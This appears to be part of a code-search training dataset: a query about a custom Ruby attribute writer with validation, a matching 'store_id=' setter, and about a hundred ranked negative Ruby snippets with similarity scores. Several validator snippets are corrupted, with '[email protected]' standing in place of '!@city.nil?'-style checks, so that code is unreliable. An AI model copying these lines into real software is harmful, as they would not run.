"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n return false if @first_name.nil?\n return false if @first_name.to_s.length > 30\n return false if !@last_name.nil? && @last_name.to_s.length > 30\n return false if !@address_line1.nil? && @address_line1.to_s.length > 50\n return false if !@address_line2.nil? && @address_line2.to_s.length > 50\n return false if [email protected]? && @city.to_s.length > 50\n return false if [email protected]? && @state.to_s.length > 50\n return false if [email protected]? && @zip.to_s.length > 12\n return false if [email protected]? && @country.to_s.length > 50\n return false if !@security_identifier.nil? && @security_identifier.to_s.length > 184\n return false if [email protected]? && @title.to_s.length > 100\n return false if [email protected]? && @school.to_s.length > 50\n return false if !@nick_name.nil? && @nick_name.to_s.length > 30\n return false if !@significant_other.nil? && @significant_other.to_s.length > 30\n return false if !@portal_password.nil? && @portal_password.to_s.length > 15\n return false if !@portal_security_level.nil? && @portal_security_level > 6.0\n return false if !@portal_security_level.nil? && @portal_security_level < 1.0\n gender_validator = EnumAttributeValidator.new('String', [\"Male\", \"Female\"])\n return false unless gender_validator.valid?(@gender)\n presence_validator = EnumAttributeValidator.new('String', [\"Online\", \"DoNotDisturb\", \"Away\", \"Offline\", \"NoAgent\"])\n return false unless presence_validator.valid?(@presence)\n return true\n end",
"def validated?; end",
"def valid?\n return false if @name.nil?\n return false if @slug.nil?\n return false if @status.nil?\n status_validator = EnumAttributeValidator.new('String', ['enabled', 'disabled'])\n return false unless status_validator.valid?(@status)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['digital', 'physical'])\n return false unless type_validator.valid?(@type)\n return false if @sku.nil?\n return false if @price.nil?\n availability_validator = EnumAttributeValidator.new('String', ['available', 'comingSoon', 'retired'])\n return false unless availability_validator.valid?(@availability)\n stock_status_validator = EnumAttributeValidator.new('String', ['available', 'alert', 'unavailable'])\n return false unless stock_status_validator.valid?(@stock_status)\n return false if @categories.nil?\n true\n end",
"def valid?\n self.valid\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end"
] | [
"0.78992486",
"0.78992486",
"0.70971805",
"0.70782334",
"0.7032205",
"0.7031276",
"0.69510347",
"0.6869891",
"0.6858077",
"0.6858077",
"0.68287027",
"0.6823878",
"0.6820306",
"0.68144894",
"0.6794656",
"0.6752167",
"0.66843414",
"0.6676546",
"0.6667755",
"0.66296124",
"0.66184515",
"0.6608204",
"0.6599208",
"0.6594276",
"0.6584302",
"0.6580472",
"0.6578095",
"0.6558585",
"0.6555879",
"0.6542414",
"0.6536983",
"0.6533884",
"0.65315515",
"0.65311855",
"0.65267456",
"0.65258855",
"0.6520786",
"0.65205675",
"0.6511026",
"0.6498394",
"0.64966303",
"0.64935124",
"0.6491113",
"0.64885867",
"0.6479024",
"0.6473706",
"0.64679337",
"0.6467217",
"0.6461245",
"0.64601135",
"0.64553183",
"0.64540446",
"0.6447954",
"0.64393955",
"0.6434162",
"0.64312094",
"0.6428205",
"0.6426148",
"0.6412439",
"0.64070046",
"0.64044213",
"0.6403482",
"0.6399368",
"0.63979715",
"0.63858813",
"0.63855004",
"0.63855004",
"0.63855004",
"0.63855004",
"0.63740236",
"0.6367379",
"0.63645166",
"0.6362151",
"0.63599974",
"0.6357385",
"0.63549066",
"0.63549066",
"0.63549066",
"0.63549066",
"0.6354845",
"0.6354207",
"0.6350302",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.63435715",
"0.63406414",
"0.63344824",
"0.6333158",
"0.63313466",
"0.63294095",
"0.6327076",
"0.63247603",
"0.63247603",
"0.63247603",
"0.63247603"
] | 0.0 | -1 |
Custom attribute writer method with validation | def store_id=(store_id)
if !store_id.nil? && store_id.to_s.length > 20
fail ArgumentError, 'invalid value for "store_id", the character length must be smaller than or equal to 20.'
end
@store_id = store_id
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def hosted_payment_page_text=(hosted_payment_page_text)
if !hosted_payment_page_text.nil? && hosted_payment_page_text.to_s.length > 255
fail ArgumentError, 'invalid value for "hosted_payment_page_text", the character length must be smaller than or equal to 255.'
end
@hosted_payment_page_text = hosted_payment_page_text
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
